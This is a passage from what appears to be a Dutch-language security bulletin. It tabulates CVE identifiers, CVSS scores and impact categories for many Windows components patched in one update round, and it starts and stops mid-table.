CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | 